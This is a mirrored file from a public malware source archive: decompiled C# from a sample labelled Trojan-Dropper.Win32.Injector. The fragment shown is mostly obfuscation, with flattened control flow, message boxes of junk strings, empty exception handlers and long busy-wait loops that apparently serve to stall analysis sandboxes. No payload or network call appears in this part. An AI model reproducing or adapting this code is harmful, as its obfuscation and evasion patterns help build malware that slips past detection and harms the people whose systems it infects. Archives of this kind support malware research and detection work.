mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
117 lines
3.9 KiB
C#
117 lines
3.9 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: _2012_D.AM62ZEkEdo0R
|
|||
|
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
|||
|
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dblt-11c830b14a7f7fa5e638e993bfad14368652dc14146a3a0f4078ff2c21428131.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace _2012_D
|
|||
|
{
|
|||
|
[StandardModule]
|
|||
|
internal sealed class AM62ZEkEdo0R
|
|||
|
{
|
|||
|
public static void nQeH1SuL()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
string str;
|
|||
|
bool flag;
|
|||
|
Decimal num2;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
do
|
|||
|
{
|
|||
|
flag = true;
|
|||
|
num2 = 760724M;
|
|||
|
}
|
|||
|
while (false);
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_7;
|
|||
|
case 2:
|
|||
|
str = "PymcoiFi1zd3ggrX8T2ZUT70J39Bef26LlV6O528mA99dM8AOfm21ITJn4R3n9e2si4wwR6783N408anx4vbZ2fu08MA9sqNUX2dYBtNaMTwt3Wkl565vgGz1QvnlDc3x";
|
|||
|
int num3 = (int) MessageBox.Show("/^\u008142,rJEvW,lu€}\u008FM3QOu]ˆ8r>\u0081E2JTM[#‘CICs‰|vg~rz&a1RG8ML[D>\u008DLS[ c,j?:|\u007Fl#‚pXŒ?‡)Y‹7?3r#<’/Zm$O‰?M{2[4R`<uWOXZ‡R<P4ST;<\u007Fƒ)M?*B1gf‹Q+0,Lˆ&JŽ\\oC^u+o==‚\u008FT#1\u008FBRy2U\u008Dcƒ{_");
|
|||
|
flag = true;
|
|||
|
num1 = 1;
|
|||
|
continue;
|
|||
|
case 3:
|
|||
|
int num4 = (int) MessageBox.Show("qXKFB!oN@=„U?}28'QZ.>T/€kk\u007FFW‚4%\\P1„GTWk‘p>\u0081Qle’KuVcbR#;XjI‚'|NoOvM0)5)%^S@v„’:‘9F+,pU\u008D‘’†Lp+gc5BaRn?U‰6kQ%/2?JYPJhtqB’\u008D{O16|LŒ‰‚*TB__rwPˆ");
|
|||
|
str = "|XS.K~[&XwS7…‹:hK31[‘.‰Z€0Z\\|ˆO@06ƒ`cNqT{XfBv*{ 4ƒ`]E‹Jmb‹@:C‘<bG2'n(m%";
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_7:
|
|||
|
num2 = 1M;
|
|||
|
flag = false;
|
|||
|
int num5 = (int) Interaction.MsgBox((object) "ds,7`#zcp_Qg(tEyV=eI1Ž‰ˆ!i>kni7i‘7*]T,4u6O!Ef`N}…vzw:)mi|75‰x/‡&HzhƒizDI(ƒ2uŒdAT;Sx‹‚SOˆ\\Ts=‰>\u0090'Z\u008D\u0090~Š]3+QPnJ‰‹o8‰tmDJŽ7ˆKrG5''S}…+:‘gU\\q@mZRw$’cwZF5clo^v(S86\u0090#I\u0090ƒX~qp");
|
|||
|
}
|
|||
|
|
|||
|
public static object ZStI7o2FrOIhdxe0()
|
|||
|
{
|
|||
|
int num1 = (int) MessageBox.Show("‘*‘Š+WR`Vhri?O#U%Q…St'CC<z_„Ii€?ecPc=g‰€(u2Zu=?w‚dƒT+3†ŠynnD‹a6\u007F{S$o‘R8QZ%J’‡|a’ZzxyK3QoY}aŒe‡Z^ErA8cxOLRŒ&|‡\u0090-n|0^Q&O@e XgiXˆ0ƒ");
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex1);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex2);
|
|||
|
int num2 = (int) MessageBox.Show("T7h#€u„YF[5‹LyG^@_f^s€53\\^‡B1?\u007F‰\\$/qqF~KQ/");
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
int num3 = 830;
|
|||
|
while (num3 <= 825)
|
|||
|
{
|
|||
|
int num4 = 6951155;
|
|||
|
do
|
|||
|
{
|
|||
|
checked { ++num4; }
|
|||
|
}
|
|||
|
while (num4 <= 98000324);
|
|||
|
checked { ++num3; }
|
|||
|
}
|
|||
|
int num5 = 1;
|
|||
|
do
|
|||
|
{
|
|||
|
checked { ++num5; }
|
|||
|
}
|
|||
|
while (num5 <= 999414563);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex3)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex3);
|
|||
|
int num6 = (int) MessageBox.Show("]&\u0090RARGpc!sf.<:q $MT\u008FŒK‰a{…AAVt†{A‡T!(/-z>kXmzŠr9<7\u0081S5…dm'ƒX_&N-?\u007F}€Gyo‹‡@mqA†;z„3'%>†SfNCy\u008D7iat‚]9€\u008F)JS_?Œ3[4Cz~)gK‘H‚LL7R$’ts>qŒ\u0081vlM}z{fX‘\u008D?*: ‘.-8uZn€SxjFT~_mTbE_-P?\u007FbJ‚");
|
|||
|
int num7 = 1;
|
|||
|
do
|
|||
|
{
|
|||
|
checked { ++num7; }
|
|||
|
}
|
|||
|
while (num7 <= 40137434);
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
return (object) 647821188;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|